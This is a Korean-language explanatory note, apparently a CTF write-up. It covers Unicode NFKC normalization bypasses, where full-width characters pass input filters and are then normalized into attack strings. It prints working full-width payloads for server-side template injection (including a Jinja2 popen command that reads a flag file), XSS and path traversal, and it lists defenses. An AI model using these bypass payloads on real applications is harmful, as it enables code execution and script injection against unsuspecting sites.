유니코드 정규화 취약점은 전각 문자(Full-width Characters)가 정규화 과정에서 일반 ASCII 문자로 변환되는 특성을 악용하는 보안 취약점이다. 이는 2007년부터 알려진 고전적인 우회 기법으로, 현재까지도 많은 웹 애플리케이션에서 발견되고 있다
"""
유니코드 정규화 과정
"""
NFKC(Normalization Form Canonical Composition) 정규화는 유니코드 문자를 표준 형태로 변환하는 과정이다. 이 과정에서 전각 문자들이 해당하는 ASCII 문자로 변환된다.
＜ (U+FF1C) → < (U+003C)
＞ (U+FF1E) → > (U+003E)
７ (U+FF17) → 7 (U+0037)
｛ (U+FF5B) → { (U+007B)
｝ (U+FF5D) → } (U+007D)
취약점 발생 원리
핵심 문제점은 보안 검증과 정규화의 순서에 있다.
애플리케이션에서 다음과 같은 잘못된 순서로 처리한다.
사용자 입력 수신
보안 필터링 수행 (영문자, 특수문자 검사)
유니코드 정규화 적용 (unicodedata.normalize("NFKC", input))
최종 처리 및 실행이 순서에서는 전각 문자로 작성된 악성 페이로드가 필터링을 우회한 후, 정규화 과정에서 실제 공격 코드로 변환된다
실제 공격 시나리오
if re.search("[a-zA-Z]", message):
message = "한글을 사용합시다!"
for i in "!@#$%^&*=;,<>?1234567890":
if i in message:
message = "해킹을 하지 맙시다!"공격 페이로드
｛｛７＊７｝｝처리 과정
필터링 단계: 전각 문자는 영문자나 특수문자로 인식되지 않아 통과
정규화 단계: {{7*7}}로 변환
템플릿 엔진에서 실행되어 49 출력고급 공격 기법
SSTI(Server-Side Template Injection) 공격을 위한 복잡한 페이로드도 가능하다
｛｛ｃｏｎｆｉｇ．＿＿ｃｌａｓｓ＿＿．＿＿ｉｎｉｔ＿＿．＿＿ｇｌｏｂａｌｓ＿＿［＇ｏｓ＇］．ｐｏｐｅｎ（＇ｃａｔ ／ｈｏｍｅ／ｈａｎｇｕｌ／ｆｌａｇ＇）．ｒｅａｄ（）｝｝정규화 후
{{config.__class__.__init__.__globals__['os'].popen('cat /home/hangul/flag').read()}}다양한 우회 문자들
디렉토리 구분자 우회
Windows: \ (U+005C) → ＼ (U+FF3C), ⃥ (U+20E5)
UNIX: / (U+002F) → ／ (U+FF0F), ∕ (U+2215)
상위 디렉토리: .. → ．． (U+FF0E)XSS 공격 우회
＜ｓｃｒｉｐｔ＞ａｌｅｒｔ（１）＜／ｓｃｒｉｐｔ＞URL 인코딩과 결합
%uff1cinput/onclick=alert(1)%uff1e역사적 배경
이 취약점은 2007년 GamaTEAM에 의해 처음 공개되었으며
, 다양한 HTTP 콘텐츠 스캐닝 시스템에서 발견되었다. 특히 ASP.NET 환경에서 자주 발생하는데, SQL Server가 유니코드 문자를 ASCII로 자동 변환하는 특성 때문입니다
방어 방법
올바른 처리 순서
사용자 입력 수신
유니코드 정규화 먼저 적용
정규화된 문자열에 대해 보안 검증
최종 처리추가 방어 조치
화이트리스트 기반 입력 검증
컨텍스트별 출력 인코딩
CSP(Content Security Policy) 적용
정규 표현식에서 유니코드 범위 고려ASP.NET 환경에서는 RequestValidator 클래스를 확장하여 전각 문자를 사전에 차단할 수 있다
====================================
결론 -> 이런 것도 우회가 되는 군아!!
